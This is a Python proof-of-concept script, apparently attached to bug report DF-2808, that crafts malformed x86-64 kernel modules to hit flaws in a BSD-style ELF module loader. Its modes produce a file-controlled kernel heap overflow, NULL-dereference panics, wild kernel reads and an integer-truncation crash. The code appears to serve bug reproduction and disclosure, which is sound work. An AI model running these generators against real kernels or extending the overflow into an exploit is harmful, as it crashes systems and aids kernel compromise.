DF-2808 / gen_exec_ko.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 | #!/usr/bin/env python3 # Craft minimal ET_EXEC x86-64 "KLD" modules that hit link_elf_load_file # (sys/kern/link_elf.c - the EXEC-format loader) with attacker-chosen # program-header / dynamic / section metadata. # argv[1] = out path # argv[2] = mode: # globalsym control: valid module, one R_X86_64_64 reloc against a # STB_GLOBAL in-module symbol -> must kldload OK (RC=0) # localsym same but STB_LOCAL -> elf_lookup local branch returns the # address as the int error code -> "symbol s undefined", # load fails despite the symbol being defined (DF-2812) # nulldyn-rel DT_REL present but no DT_SYMTAB/DT_STRTAB -> failed # reloc -> symbol_name() derefs ef->symtab==NULL -> panic # (DF-2810) # seg-overflow segs[0] extent far beyond mapsize (mapsize derives only # from segs[1] end) -> vn_rdwr writes 4MB of file data into # a 1-page kmalloc -> file-controlled heap overflow (DF-2808) # phdr-wild e_phoff = 0x300000000000: the "Unreadable program # headers" check is warning-only -> phdr scan reads at # firstpage+e_phoff -> wild kernel read -> panic (DF-2809) # phdr-short 64-byte file, e_phoff=0x40 e_phnum=2: phdrs parsed from # UNINITIALIZED heap past nbytes (never enforced) (DF-2809) # shsize-trunc SHT_SYMTAB sh_size=0x80000100 truncated into int symcnt # -> negative -> kmalloc((size_t)-2GB) -> NULL -> vn_rdwr # into NULL with huge len -> panic (DF-2811) import struct, sys EHDR = struct.Struct('<16sHHIQQQIHHHHHH') PHDR = struct.Struct('<IIQQQQQQ') # type flags offset vaddr paddr filesz memsz align SHDR = struct.Struct('<IIQQQQIIQQ') DYN = struct.Struct('<qQ') SYM = struct.Struct('<IBBHQQ') REL = struct.Struct('<QQ') PT_LOAD, PT_DYNAMIC = 1, 2 DT_NULL, DT_HASH, DT_STRTAB, DT_STRSZ, DT_SYMTAB = 0, 4, 5, 10, 6 DT_SYMENT, DT_REL, DT_RELSZ, DT_RELENT = 11, 17, 18, 19 SHT_SYMTAB, SHT_STRTAB = 2, 3 R_X86_64_64 = 1 def ehdr(phoff, phnum, shoff=0, shnum=0, shstrndx=0): ident = b'\x7fELF' + bytes([2, 1, 1, 0, 0]) + b'\0'*7 return EHDR.pack(ident, 2, 62, 1, 0, phoff, shoff, 0, 64, 56, phnum, 64, shnum, shstrndx) def phdr(typ, flags, off, vaddr, filesz, memsz, align=0x1000): return PHDR.pack(typ, flags, off, vaddr, vaddr, filesz, memsz, align) def put(blob, off, data): end = off + len(data) if len(blob) < end: blob.extend(b'\0' * (end - len(blob))) blob[off:off+len(data)] = data def build_symmod(st_info, out): # seg0: vaddr 0, 0x200 bytes at file 0x1000 # seg1: vaddr 0x300, 0x100 bytes at file 0x1200 s0 = bytearray(0x200) put(s0, 0x20, REL.pack(0x10, (1 << 32) | R_X86_64_64)) # one REL put(s0, 0x40, struct.pack('<5I', 1, 2, 1, 0, 0)) # DT_HASH: nb=1 nch=2 bucket0=1 sym0 = SYM.pack(0, 0, 0, 0, 0, 0) sym1 = SYM.pack(1, st_info, 0, 1, 0x80, 8) # "s", defined, value 0x80 put(s0, 0x60, sym0 + sym1) put(s0, 0x90, b'\0s\0\0') # strtab dyn = b''.join(DYN.pack(t, v) for t, v in [ (DT_HASH, 0x40), (DT_STRTAB, 0x90), (DT_STRSZ, 4), (DT_SYMTAB, 0x60), (DT_SYMENT, 24), (DT_REL, 0x20), (DT_RELSZ, 16), (DT_RELENT, 16), (DT_NULL, 0)]) put(s0, 0xA0, dyn) s1 = bytearray(0x100) img = bytearray(ehdr(0x40, 3)) put(img, 0x40, phdr(PT_LOAD, 5, 0x1000, 0, 0x200, 0x200)) put(img, 0x40+56, phdr(PT_LOAD, 6, 0x1200, 0x300, 0x100, 0x100)) put(img, 0x40+112, phdr(PT_DYNAMIC, 6, 0, 0xA0, 0, 0)) put(img, 0x1000, s0) put(img, 0x1200, s1) open(out, 'wb').write(img) def build_nulldyn(out): s0 = bytearray(0x100) put(s0, 0x40, REL.pack(0x10, (1 << 32) | R_X86_64_64)) dyn = b''.join(DYN.pack(t, v) for t, v in [ (DT_REL, 0x40), (DT_RELSZ, 16), (DT_NULL, 0)]) put(s0, 0x80, dyn) img = bytearray(ehdr(0x40, 3)) put(img, 0x40, phdr(PT_LOAD, 5, 0x1000, 0, 0x100, 0x100)) put(img, 0x40+56, phdr(PT_LOAD, 6, 0x1100, 0x200, 0x18, 0x18)) put(img, 0x40+112, phdr(PT_DYNAMIC, 6, 0, 0x80, 0, 0)) put(img, 0x1000, s0) put(img, 0x1100, bytearray(0x18)) open(out, 'wb').write(img) def build_segoverflow(out): img = bytearray(ehdr(0x40, 3)) put(img, 0x40, phdr(PT_LOAD, 5, 0x1000, 0, 0x400000, 0x400000)) put(img, 0x40+56, phdr(PT_LOAD, 6, 0x401000, 0x100, 0x100, 0x100)) put(img, 0x40+112, phdr(PT_DYNAMIC, 6, 0, 0x100, 0, 0)) put(img, 0x1000, b'A' * 0x400000) # 4 MB of file data put(img, 0x401000, DYN.pack(DT_NULL, 0)) # dynamic = [DT_NULL] open(out, 'wb').write(img) def build_phdrwild(out, e_phoff, e_phnum): img = bytearray(EHDR.pack(b'\x7fELF' + bytes([2, 1, 1, 0, 0]) + b'\0'*7, 2, 62, 1, 0, e_phoff, 0, 0, 64, 56, e_phnum, 64, 0, 0)) open(out, 'wb').write(img) def build_shsizetrunc(out): img = bytearray(ehdr(0x40, 3, shoff=0x1200, shnum=3)) put(img, 0x40, phdr(PT_LOAD, 5, 0x1000, 0, 0x100, 0x100)) put(img, 0x40+56, phdr(PT_LOAD, 6, 0x1100, 0x200, 0x18, 0x18)) put(img, 0x40+112, phdr(PT_DYNAMIC, 6, 0, 0x40, 0, 0)) s0 = bytearray(0x100) put(s0, 0x40, DYN.pack(DT_NULL, 0)) # no relocs at all put(img, 0x1000, s0) put(img, 0x1100, bytearray(0x18)) put(img, 0x1200, SHDR.pack(0, 0, 0, 0, 0, 0, 0, 0, 0, 0)) # SHN_UNDEF put(img, 0x1200+64, SHDR.pack(0, SHT_SYMTAB, 0, 0, 0x1300, 0x80000100, 2, 1, 8, 24)) # sh_size > INT_MAX put(img, 0x1200+128, SHDR.pack(0, SHT_STRTAB, 0, 0, 0x1400, 0x10, 0, 0, 1, 0)) open(out, 'wb').write(img) mode, out = sys.argv[2], sys.argv[1] if mode == 'globalsym': build_symmod((1 << 4) | 1, out) # STB_GLOBAL|STT_OBJECT elif mode == 'localsym': build_symmod((0 << 4) | 1, out) # STB_LOCAL|STT_OBJECT elif mode == 'nulldyn-rel': build_nulldyn(out) elif mode == 'seg-overflow': build_segoverflow(out) elif mode == 'phdr-wild': build_phdrwild(out, 0x300000000000, 1) elif mode == 'phdr-short': build_phdrwild(out, 0x40, 2) elif mode == 'shsize-trunc': build_shsizetrunc(out) else: sys.exit('bad mode') print('wrote %s: mode=%s' % (out, mode)) |